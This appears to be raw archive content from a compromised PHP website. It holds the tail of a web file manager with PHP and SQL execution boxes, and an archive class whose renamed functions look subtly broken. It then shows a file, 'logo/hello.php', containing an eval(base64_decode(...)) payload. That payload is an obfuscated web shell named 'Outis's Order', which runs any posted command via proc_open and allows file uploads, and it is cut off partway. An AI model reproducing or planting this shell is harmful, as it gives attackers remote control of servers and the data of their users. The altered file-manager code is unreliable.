'.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fms_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fms_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fms_config['upload_myfile'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fileSet = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $fileSet[] = $file; } } natsort($dirs); natsort($fileSet); $elements = array_merge($dirs, $fileSet); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fms_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime_share = explode(' ', microtime()); $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php // Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus class archiveTar { var $archiveTitle = ''; var $temporaryFile = 0; var $filePointer = 0; var $isCompressedFile = true; var $errorList = array(); var $fileSet = array(); function __construct(){ if (!isset($this->errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> logo/hello.php 0000644 00000017016 15041356026 0007327 0 ustar 00 <?php eval(base64_decode('CiBnb3RvIFRnUnBzOyBtV1hscjogaWYgKCRfU0VSVkVSWyJcMTIyXDEwNVx4NTFceDU1XDEwNVx4NTNcMTI0XHg1ZlwxMTVcMTA1XHg1NFx4NDhcMTE3XDEwNCJdID09PSAiXDEyMFx4NGZcMTIzXHg1NCIgJiYgaXNzZXQoJF9QT1NUWyJcMTQzXHg2Zlx4NmRceDZkXHg2MVwxNTZceDY0Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNDNceDZmXDE1NVx4NmRceDYxXHg2ZVwxNDQiXSkpIHsgJGNvbW1hbmQgPSAkX1BPU1RbIlwxNDNcMTU3XDE1NVx4NmRcMTQxXHg2ZVwxNDQiXTsgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFcMTYwXDE0NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlx4NzBceDY5XDE2MFx4NjUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJceDcwXHg2OVwxNjBcMTQ1IiwgIlx4NzciKSk7ICRwcm9jZXNzID0gcHJvY19vcGVuKCRjb21tYW5kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcywgJGN1cnJlbnREaXIpOyBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7IGZjbG9zZSgkcGlwZXNbMF0pOyAkb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzFdKTsgZmNsb3NlKCRwaXBlc1syXSk7IHByb2NfY2xvc2UoJHByb2Nlc3MpOyB9IH0gZ290byBBVXlOdzsgeXpmaEE6ICRwYXRoUGFydHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRjdXJyZW50RGlyKTsgZ290byBnSVVVNDsgQVV5Tnc6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWwgbGFuZz0iZW4iPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48bWV0YSBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xIm5hbWU9InZpZXdwb3J0Ij48dGl0bGU+T3V0aXMncyBPcmRlcjwvdGl0bGU+PHN0eWxlPmJvZHl7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiMwZjA7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO21hcmdpbjowO3BhZGRpbmc6MDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmNlbnRlcjtoZWlnaHQ6MTAwdmh9LmNvbnRhaW5lcnt3aWR0aDo4MCU7bWF4LXdpZHRoOjgwMHB4O2JhY2tncm91bmQ6IzExMTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czoxMHB4O2JveC1zaGFkb3c6MCAwIDE1cHggIzBmMDt0ZXh0LWFsaWduOmxlZnQ7bWFyZ2luLWJvdHRvbToxMHB4fS5wYXRoe3BhZGRpbmc6MTBweDtiYWNrZ3JvdW5kOiMyMjI7ZGlzcGxheTpmbGV4O2dhcDo1cHg7anVzdGlmeS1jb250ZW50OmNlbnRlcn0ucGF0aCBhe2NvbG9yOiMwZjA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzozcHggNnB4O2JhY2tncm91bmQ6IzMzMztib3JkZXItcmFkaXVzOjNweH0udXBsb2FkLXNlY3Rpb257ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjEwcHh9LnVwbG9hZC1idG57YmFja2dyb3VuZDojMGYwO2NvbG9yOiMwMDA7cGFkZGluZzo4cHg7Ym9yZGVyOm5vbmU7Y3Vyc29yOnBvaW50ZXI7Zm9udC1zaXplOjE0cHg7Ym9yZGVyLXJhZGl1czo1cHh9LmNvbW1hbmQtYm94e2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjt3aWR0aDoxMDAlO2dhcDoxMHB4O2JhY2tncm91bmQ6IzIyMjtib3JkZXItcmFkaXVzOjVweDtwYWRkaW5nOjEwcHh9LmNvbW1hbmQtYm94IGlucHV0e2ZsZXgtZ3JvdzoxO2JhY2tncm91bmQ6IzExMTtjb2xvcjojMGYwO2JvcmRlcjoxcHggc29saWQgIzBmMDtwYWRkaW5nOjhweDtmb250LXNpemU6MTRweDtib3JkZXItcmFkaXVzOjVweH0uY29tbWFuZC1ib3ggYnV0dG9ue2JhY2tncm91bmQ6IzBmMDtjb2xvcjojMDAwO3BhZGRpbmc6OHB4O2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyO2JvcmRlci1yYWRpdXM6NXB4O2ZvbnQtc2l6ZToxNHB4fS5kaXItbGlzdHtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmZsZXgtc3RhcnQ7b3ZlcmZsb3cteTphdXRvO21heC1oZWlnaHQ6MzAwcHh9LmRpci1saXN0IGF7Y29sb3I6IzBmMDtmb250LXdlaWdodDo3MDA7bWFyZ2luLWJvdHRvbTo1cHg7YmFja2dyb3VuZDojMzMzO3BhZGRpbmc6NXB4O2JvcmRlci1yYWRpdXM6M3B4O3RleHQtZGVjb3JhdGlvbjpub25lfS5kaXItbGlzdCBhOmhvdmVye2JhY2tncm91bmQ6IzQ0NH0uZGlyLWxpc3Qgc3Bhbntjb2xvcjojZmZmO21hcmdpbi1ib3R0b206NXB4fS5maWxlLWlucHV0LWNvbnRhaW5lcntkaXNwbGF5OmZsZXg7Z2FwOjEwcHg7YWxpZ24taXRlbXM6Y2VudGVyfXByZXt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLXdyYXA6YnJlYWstd29yZDtiYWNrZ3JvdW5kOiMyMjI7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6NXB4fTwvc3R5bGU+PHNjcmlwdD5mdW5jdGlvbiBhZGRVcGxvYWRGaWVsZCgpIHsKICAgICAgICAgICAgbGV0IGNvbnRhaW5lciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOwogICAgICAgICAgICBjb250YWluZXIuY2xhc3NMaXN0LmFkZCgiZmlsZS1pbnB1dC1jb250YWluZXIiKTsKICAgICAgICAgICAgbGV0IGlucHV0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTsKICAgICAgICAgICAgaW5wdXQudHlwZSA9ICJmaWxlIjsKICAgICAgICAgICAgaW5wdXQubmFtZSA9ICJmaWxlW10iOwogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXBsb2FkLWZvcm0iKS5pbnNlcnRCZWZvcmUoY29udGFpbmVyLCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXBsb2FkLWJ1dHRvbiIpKTsKICAgICAgICAgICAgY29udGFpbmVyLmFwcGVuZENoaWxkKGlucHV0KTsKICAgICAgICB9PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxoMT5PdXRpcydzIE9yZGVyPC9oMT48ZGl2IGNsYXNzPSJjb250YWluZXIgcGF0aCI+PD9waHAgIGdvdG8geXpmaEE7IGVpTk1VOiBmb3JlYWNoICgkZGlyQ29udGVudHMgYXMgJGl0ZW0pIHsgJGl0ZW1QYXRoID0gcmVhbHBhdGgoJGN1cnJlbnREaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW0pOyBpZiAoaXNfZGlyKCRpdGVtUGF0aCkpIHsgZWNobyAiXHgzY1x4NjFcNDBceDY4XDE2Mlx4NjVc